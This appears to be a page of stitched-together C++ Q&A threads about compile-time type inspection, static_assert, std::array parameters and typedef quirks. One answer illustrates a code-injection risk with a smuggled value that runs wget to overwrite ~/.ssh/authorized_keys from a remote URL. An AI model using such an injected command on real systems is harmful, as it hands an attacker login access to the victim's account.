In a previous question I was trying to figure out at compile time if a particular conversion (of the type to double and back) for a particular fundamental type was safe or not.
Eventually, I figured out the following code:
#include <limits>
#include <vector>
template<class one>
class test {
typedef typename one::value_type v; //My code actually takes std:: containers, not the type directly, so get the type.
typedef std::numeric_limits<v> limits; //Easier to read
static_assert(limits::max()==v(double(limits::max())),"MEANINGFUL ERROR MESSAGE"); //See if the conversion works correctly
};
When it is declared with a "safe" type, like:
test<std::vector<int> > a;
It compiles just fine. But when it is compiled with a type that will not convert correctly, such as:
test<std::vector<unsigned long long> > b;
Rather than failing the assertion as I expected, it fails to compile with the error message (using g++ 4.7.1 and 5.3.0 with --std=c++11):
test2.cpp: In instantiation of ‘class test<std::vector<long long unsigned int> >’:
test2.cpp:11:40: required from here
test2.cpp:8:5: error: non-constant condition for static assertion
static_assert(limits::max()==v(double(limits::max())),"MEANINGFUL ERROR MESSAGE");
I suppose that it is still getting the job done (not compiling when there's a problem, but I still can't figure out why limits::max()==v(double(limits::max())) doesn't count as a constant condition, and I don't really like the fact that it makes the error message less comprehensible. What am I doing wrong?
Thanks!
My crappy solution I just came up with:
#include <limits>
#include <vector>
template<class one>
class test {
typedef typename one::value_type v; //My code actually takes std:: containers, not the type directly, so get the type.
typedef std::numeric_limits<v> limits; //Easier to read
static_assert(double(limits::max())!=double(limits::max())+1),"MEANINGFUL ERROR MESSAGE"); //Once the value is large enough that integers are not exactly representable, x==x+1 for doubles.
};
I'm still hoping I'll find a better solution, though. This feels wrong somehow and I'm not sure it'll work in all cases. At the very least I would need to handle floating point conversions separately.
Related
I know this is a common question, but how do I pass a std::array as a function parameter? I've looked at answers for other questions on here asking the same thing, and the best "solution" I found was to use a template to set size_t to a keyword like SIZE. I tried this, but it still gives me two compile time errors:
Error C2065 'SIZE': undeclared identifier
Error C2975 '_Size': invalid template argument for 'std::array', expected compile-time constant expression
Both errors on the line where I have my void function definition.
As far as I know, I did this exactly how the solution was typed out. I know I could instead pass through a std::vector, but I'm stubborn and want to learn this.
Here is my relevant code:
#include <iostream>
#include <array>
using namespace std;
template<size_t SIZE>
void QuickSort(array<unsigned, SIZE>& arrayName);
int main()
{
// main function.
}
void QuickSort(array<unsigned, SIZE>& arrayName)
{
// whatever the function does.
}
I'd appreciate any help figuring out what it is that I'm doing wrong.
EDIT: I forgot to take out the second function parameter. I did that, but still the same issues.
Your function definition still needs template parameters since the compiler has no way of knowing what SIZE is
template<size_t SIZE>
// ^^^^^^^^^^^^^^^^^^
void QuickSort(array<unsigned, SIZE>& arrayName)
{
/// whatever the function does.
}
everyone.
I am debugging some problem of type mismatch of a heavily templated class. I would like to know c++ type information during compilation, so I write this:
#pragma message typeinfo(var)
It just do not work.
So I am here asking for some help. I am not sure if it is possible. But I think the compiler must know the type information during compilation.
The preprocessor is not going to help you much itself at compile time. It's job is preprocessing, which happens before compile time.
If the idea is to output type information at compile time then try the following
template <typename...> struct WhichType;
class Something {};
int main() {
WhichType<Something>{};
}
Live example here. When you compile this you should get an error that gives you the type of whatever is inside the templates when trying to instantiate WhichType. This was a neat trick I picked up from Scott Meyers' Effective Modern C++ book. It seems to work perfectly on most mainstream compilers that I have encountered so far.
If you want to get the type information at runtime
#include <iostream>
#include <typeinfo>
using std::cout;
using std::endl;
int main() {
auto integer = int{};
cout << typeid(integer).name() << endl;
}
Note Don't get too comfortable with RTTI (RunTime Type Information) via typeid, C++ also offers several compile time type introspection utilities http://en.cppreference.com/w/cpp/header/type_traits.
I use a type printer helper function, which simply bases on the gcc predefined macro __PRETTY_FUNCTION__. Simply write a templated function which eats everthings and call it from the point where you need to know which type your template expands to. For me it was very helpful to use such a function in case of SFINAE problems and others.
template <typename ... T>
void TemplatePrint(T ... args )
{
std::cout << __PRETTY_FUNCTION__ << std::endl;
}
int main()
{
auto any = std::tuple_cat( std::tuple<int, double>{}, std::tuple<std::string>{} );
TemplatePrint( any );
}
You did not tag your question to a specific compiler, so you maybe need to search for equivalents on other compilers.
On C++ con some year ago a talk was about:
https://baptiste-wicht.com/posts/2016/02/use-templight-and-templar-to-debug-cpp-templates.html. Maybe this will help to get strange template problems solved.
I've googled around and can't find anyone else with a similar problem, which is weird since it seems like people would run into this fairly regularly. Can someone explain why this snippet produces an error:
typedef long mytype_t;
void function(unsigned mytype_t foo) {}
But this second, nearly identical snippet does not?
typedef long mytype_t;
void function(mytype_t unsigned foo) {}
I'm using g++ 4.8.1 on Ubuntu 14.04.
The order of the typedef "parameters" is backwards--it should be typedef long mytype_t. I'm actually surprised either one compiled (VC++ rejects both).
But even after switching them, it still isn't going to let you prefix a typedef type with unsigned.
Embarrassingly simple problem here. I am trying to use std::array and am tripping at the first hurdle with the error ...
implicit instantiation of undefined template 'std::__1::array<char,10>'
The code that gives the error is shown below. I can work around it with std::map for now, but I'm sure the fix must be simple!!
enum p_t {
EMPTY = 0
,BORDER_L
// ...
,BORDER_BR
,DATUM
,NUMEL };
class PlotChars
{
array<char, p_t::NUMEL> charContainer;
// error on this ^ line:
// implicit instantiation of undefined template 'std::__1::array<char,10>'
};
My first guess would be that you simply forgot to:
#include <array>
...before trying to use the array template. While you can (at least indirectly) use a few classes without including the headers (e.g., the compiler can create an std::initializer_list from something like {1, 2, 3} without your including any headers) in most cases (including std::array) you need to include the header before using the class template.
You are using a C-style enum, so you probably need to omit the enum name, if your compiler isn't fully C++11 compliant.
array<char, NUMEL> charContainer;
This works on gcc 4.4.3, whereas the equivalent to your code does not yet work on that version (but does on later ones)
#include <array>
enum XX { X,Y,Z };
struct Foo
{
std::array<char, Y> a;
};
int main()
{
Foo f;
}
Try with that
std::array<char, (int)NUMEL> charContainer;
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?
I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.
I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
Result:
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.
[edit] How would you put this into a tool? Simple, with macro's
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.
Improving yet more on MSalter's improvement:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
This avoids the link step.
Original answer:
C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
And then pass that source file to the compiler, and run it to get the answer.
Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).
yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !
A better option would be to avoid running the program. With a framework (requires C++11) like:
extern "C" decltype( $user_code )* the_value = 0;
You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.
Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
Output on GCC:
my_class<int&, std::vector<double> > [20]
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?
These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.
Your "program" will look like this:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
The first line has your desired type, within the angle brackets.